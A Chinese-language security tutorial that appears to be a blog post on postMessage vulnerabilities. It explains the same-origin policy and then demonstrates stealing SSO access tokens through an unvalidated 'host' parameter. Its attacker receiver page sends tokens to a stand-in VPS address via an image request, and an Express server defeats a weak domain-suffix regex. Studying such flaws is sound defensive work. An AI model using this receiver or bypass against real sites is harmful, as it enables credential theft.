浅谈postMessage安全问题其一

本文最后更新于 2024年10月22日 晚上

浅谈 postMessage 安全问题(一)

什么是同源策略

同源策略(Same-Origin Policy)是浏览器的一种安全机制,用于限制一个源(域名、协议或端口号的组合)的文档或脚本如何与来自另一个源的资源进行交互。具体来说,同源策略阻止不同源之间的网页通过脚本访问对方的资源或执行恶意操作,这有助于保护用户数据安全和隐私。

根据同源策略的规定,浏览器只允许来自同一源的文档之间共享资源(如脚本、样式表和图片),而不允许跨源的文档直接进行读取和操作。这种策略有效地防止了跨站点脚本攻击(XSS)和跨站点请求伪造(CSRF)等安全威胁。

需要注意的是,同源策略仅在浏览器环境中实施,不影响服务器之间的通信。为了在浏览器中进行跨域资源访问,开发者可以通过一些方法如 CORS(跨域资源共享)、JSONP(JSON with Padding)或使用服务器代理来规避这些限制,但需要确保操作的安全性。

总之,同源策略是浏览器为了保护用户信息和防止安全风险而设立的一道安全屏障,对网页开发和安全性有着重要影响。
image

什么是postMessage

简介

postMessage 是一个 HTML5 提供的 API,用于在不同的浏览上下文(例如不同窗口、框架或者甚至不同的文档)之间安全地传递数据。它允许一个窗口向另一个窗口发送消息,无论这两个窗口是否来自同一个源(同源策略的限制会被绕过,但发送消息的窗口需要明确指定接收消息的窗口)。

具体来说,使用 postMessage API,开发者可以指定目标窗口的引用(如通过 window.openiframe.contentWindow 获取),然后向该窗口发送消息,消息可以是简单的字符串或者复杂的对象。接收窗口可以通过监听 message 事件来接收并处理这些消息。

主要应用场景包括跨域通信(通过不同域名的窗口进行通信)、多窗口之间的信息传递(如跨窗口的单点登录)以及在 Web 应用程序中实现复杂的交互和协作。

image

总结

简单来说,浏览器的机制–同源策略限制了一个源的文档或脚本与另一个源的资源的交互,但是有些应用场景(如下所示)又必须在不同源之间通信,传递资源,共享信息。于是,为了在浏览器中进行跨域资源访问,开发者通过一些方法如 CORS(跨域资源共享)、JSONP(JSON with Padding)或使用服务器代理来规避这些限制,而 postMessage 同样也是规避这些限制的途径之一,用来安全地实现跨越资源通信

语法

1
otherWindow.postMessage(message, targetOrigin, [transfer]);
参数 说明
otherWindow 其他窗口的一个引用,比如 iframe 的 contentWindow 属性、执行 window.open 返回的窗口对象、或者是命名过或数值索引的 window.frames。
message 将要发送到其他 window的数据。
targetOrigin 指定哪些窗口能接收到消息事件,其值可以是 *****(表示无限制)或者一个 URI。
transfer 可选,是一串和 message 同时传递的 Transferable 对象。这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。

需要跨域通信的应用场景

  1. 第三方登录:许多网站允许用户通过第三方平台(如Google、Facebook)进行登录。这就涉及到不同域的网站之间需要进行跨域通信,以验证用户身份信息。
  2. 跨域数据传输:当一个网站需要获取另一个域上的数据时,比如异步加载第三方网站的内容或者获取外部API的数据,就需要进行跨域通信。
  3. 嵌入外部内容:将来自不同源的内容嵌入到当前页面中,比如使用 <iframe> 嵌入其他网站的页面或者广告,也需要跨域通信。
  4. 跨窗口通信:在一个页面中打开新窗口,并且需要这两个窗口之间进行数据传递或者互相操作时,就需要跨域通信。

postMessage 功能演示

为了更真实地体现出postMessage跨域的功能,最好还是让发送端与接收端不在同一个域下:

发送端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Send Message Page</title>
</head>
<body>
<h1>Send Message Page</h1>
<button onclick="sendMessage()">Send Message</button>

<script>
function sendMessage() {
// 假设接收端的URL
var targetWindow = window.open('http://receive.com/receive.html', '_blank');

// 延迟发送消息,等待新窗口加载
setTimeout(function() {
// 发送消息到新打开的窗口
targetWindow.postMessage('token{this_is_a_secret_token}', '*');
}, 1000);
}
</script>
</body>
</html>

接收端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Receive Message Page</title>
</head>
<body>
<h1>Receive Message Page</h1>
<p id="message"></p>

<script>
window.addEventListener('message', function(event) {
// 只接收来自特定域名的消息
var trustedOrigin = "http://send.com:81";
if (event.origin !== trustedOrigin) {
console.log("Message from an untrusted source: " + event.origin);
return; // 忽略这个消息
}

// 接收消息
var data = event.data;
var origin = event.origin;

// 检查data是否为对象,如果是,将其转换为字符串
var messageText = (typeof data === 'object') ? JSON.stringify(data, null, 2) : data;

// 将消息显示在页面上
document.getElementById('message').textContent = 'Received message: ' + messageText + ' from ' + origin;
}, false);
</script>
</body>
</html>

Demo 演示

  • 发送端,发送消息

image

  • 接收端,成功实现跨域接收消息

image

到此就演示完了postMessage的基本使用与基本过程

漏洞产生分析

接下来分析一下,使用postMessage不当时,产生的几个漏洞的原理与利用

现在假设一种postMessage使用场景,比如:

SSO (Single Sign-On 单点登录)时,拿大学的网站来说,一般是会有一个统一身份认证界面,然后会有很多的内网系统,比如教务处,图书馆,实验平台,办事中心,财务平台等等,这些内网系统要先登录校园网或者VPN,然才能访问网址,但是还不能进入对应的系统,一般还需要通过统一身份认证后(服务器会颁发一个令牌或会话凭证,并在用户浏览器中设置相关身份认证信息),才可以访问其他系统。用户访问其他内网系统时,浏览器自动携带认证信息,系统验证凭证有效性后,允许用户访问系统资源。达到了只需认证一次,就可访问多个系统的效果。

其中颁发令牌的部分可以通过postMessage()来实现:

如下图所示,只要用户通过了统一身份认证,就使用postMessage的方式发送token给其他内网系统,一次性完成授权

image

接下来开始分析流程中可能产生第一种漏洞:

敏感信息劫持

漏洞流程图

image

发送端(受害者)Demo

为了方便,以及为了只体现postMessage的相关核心流程,于是把token直接硬编码在了html源码中,真实环境肯定不是这样的,需要通过统一身份认证,服务端才会颁发token,这段Demo省略了这部分后端逻辑,但是完全不影响理解这个安全问题的原理哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sender Page</title>
</head>
<body>
<h1>Sender Page</h1>
<h1>You have successfully logged in!</h1>
<h2>Beginning to send users' token ......</h2>
<script>
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}

window.onload = function() {
const accessToken = '{token: Sgt/d6r5F_TC6fgF5/Dc_tyf7t5dD/67Dc_tydcd5d5CTY==}';
const targetOrigin = getQueryParam('host');
console.log('Target origin:', targetOrigin);

if (targetOrigin) {
try {
const targetWindow = window.open(targetOrigin, '_blank'); // 打开目标页面
if (targetWindow) {
setTimeout(() => {
targetWindow.postMessage({ accessToken: accessToken }, new URL(targetOrigin).origin);
console.log('AccessToken sent to:', targetOrigin);
}, 2000); // 延迟2秒发送消息
} else {
console.error('Failed to open target window.');
}
} catch (error) {
console.error('Failed to send message:', error);
}
} else {
console.error('No target origin specified.');
}
};
</script>
</body>
</html>

  • 模拟通过统一身份认证后开始使用postMessage()发送用户的token给接收端

image

接收端(攻击者)Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacker's Receiver Page</title>
</head>
<body>
<h1>Hacker's Receiver Page</h1>
<h2 id="accessTokenDisplay"></h2>

<script>
window.addEventListener('message', function(event) {
// 检查消息来源是否是 http://login.test-1.edu.cn:82/
if (event.origin === 'http://login.test-1.edu.cn:82') {
// 检查消息中是否包含accessToken
if (event.data && event.data.accessToken) {
// 显示accessToken
document.getElementById('accessTokenDisplay').innerText = "User's AccessToken Get!: " + event.data.accessToken;
} else {
console.error('No accessToken found in the message.');
}
} else {
console.error('Received message from untrusted origin:', event.origin);
}
});
</script>
</body>
</html>
  • 攻击者端成功接收了用户的token!!!

image

漏洞产生的原因分析

  1. 来到发送端(受害者)Demo的源码,可以看到他直接GET方式接收一个host参数(url值)赋值给targetOrigin,然后就直接毫无验证的就postMessage给这个url,并新建页面打开这个传入的url
1
2
3
4
5
6
7
8
9
10
11
window.onload = function() {
const accessToken = '{token: Sgt/d6r5F_TC6fgF5/Dc_tyf7t5dD/67Dc_tydcd5d5CTY==}';
const targetOrigin = getQueryParam('host');
console.log('Target origin:', targetOrigin);

if (targetOrigin) {
try {
const targetWindow = window.open(targetOrigin, '_blank'); // 打开目标页面
if (targetWindow) {
setTimeout(() => {
targetWindow.postMessage({ accessToken: accessToken }, new URL(targetOrigin).origin);
  1. 于是这个host就是攻击者完全可控的,那么攻击者直接自己构造一个对应的接收端地址,在发送端传参攻击者自己构造的接收端,当受害者点击攻击者构造的链接,那不就直接可以把受害者的token发送到攻击者的接收端了吗。正常来说,开发者是希望这个host是一个可信任的目标地址的,于是最好不要通过GET/POST传参的方式直接接收host值,于是安全的做法应该是把这个host在后端直接写死,或者充分过滤host,验证其合法性。

进阶-token外带

  • 通过以上方式token会显示在攻击者接收端的页面上,怎么把用户token数据进一步外带出接收端呢,方便我们查看与操作

  • 于是对接收端代码做如下修改:利用img标签的src属性可以从外部加载图片资源的特性,如果把src值替换成攻击者的vps地址(就相当于向攻击者的vps发起GET请求)再携带token的值构造URL,攻击者就可在vps的日志中直接查看到token的值了。成功将token外带!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacker's Receiver Page (token 外带)</title>
</head>
<body>
<h1>Hacker's Receiver Page (token 外带)</h1>
<div id="accessTokenDisplay"></div>

<script>
window.addEventListener('message', function(event) {
// 检查消息来源是否是 http://login.test-1.edu.cn:82/
if (event.origin === 'http://login.test-1.edu.cn:82') {
// 检查消息中是否包含accessToken
if (event.data && event.data.accessToken) {
// 显示accessToken
document.getElementById('accessTokenDisplay').innerText = "User's AccessToken Get! : " + event.data.accessToken;
var img=new Image();
img.src='http://111.11.111.11/?userinfo='+event.data.accessToken;
document.getElementById('accessTokenDisplay').appendChild(img);
} else {
console.error('No accessToken found in the message.');
}
} else {
console.error('Received message from untrusted origin:', event.origin);
}
});
</script>
</body>
</html>

image

成功将用户token数据外带到我的vps日志!

image

当然,外带的方法有很多,原理都差不多,只是借助的特性不同,具体可自行选择

进阶-绕过

有些时候,开发者会对接收端的地址做一个校验,确保接收端是合法的地址,防止敏感数据被窃取,比如这种:

  • 有过滤的发送端Demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sender Page</title>
</head>
<body>
<h1>Sender Page</h1>
<script>
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}

window.onload = function() {
const accessToken = '{token: Sgt/d6r5F_TC6fgF5/Dc_tyf7t5dD/67Dc_tydcd5d5CTY==}';
const targetOrigin = getQueryParam('host');
console.log('Target origin:', targetOrigin);

// 验证host是否以tencent.com结尾
const regex = /\.tencent\.com$/;
console.log(new URL(targetOrigin).hostname)
if (targetOrigin && regex.test(targetOrigin)) {
try {
const targetWindow = window.open(targetOrigin, '_blank'); // 打开目标页面
if (targetWindow) {
setTimeout(() => {
targetWindow.postMessage({ accessToken: accessToken }, new URL(targetOrigin).origin);
console.log('AccessToken sent to:', targetOrigin);
}, 2000); // 延迟2秒发送消息
} else {
console.error('Failed to open target window.');
}
} catch (error) {
console.error('Failed to send message:', error);
}
} else {
console.error('Invalid target origin. Must end with tencent.com.');
}
};
</script>
</body>
</html>
  • **但是只能说:然并卵。他的验证逻辑仅仅是使用正则匹配host是不是以tencent.com结尾的,于是我们使用Node.js 和 Express 框架创建一个简单的 HTTP 服务器,把 /www.tencent.com 路由到node项目根目录下的hacker.html文件。当用户访问 http://111.11.111.11/www.tencent.com 时,实际上服务器会解析到node项目根目录下的 hacker.html **
  • 下载node.js
1
2
sudo apt update
sudo apt install nodejs npm -y
  • 创建一个 Node.js 项目
1
2
mkdir my-node-app
cd my-node-app
  • 初始化项目并安装所需的依赖项
1
2
npm init -y
npm install express
  • 创建服务器代码,建一个app.js文件,写入
1
2
3
4
5
6
7
8
9
10
11
12
13
const express = require('express');
const path = require('path');
const app = express();
const port = 8080; // 使用8080端口

// 路由访问根目录下的tencent.com.html文件
app.get('/www.tencent.com', (req, res) => {
res.sendFile(path.join(__dirname, 'hacker.html'));
});

app.listen(port, () => {
console.log(`Server is running at http://111.11.111.11:${port}/www.tencent.com`);
});
  • 在项目根目录下创建 hacker.html 文件
1
vim hacker.html
  • 写入上述攻击者接收端代码

  • 运行服务器

1
node app.js
  • 发送

image

  • 成功绕过了过滤,接收到了敏感信息

image

  • 查看日志,成功外带token

image

未完待续……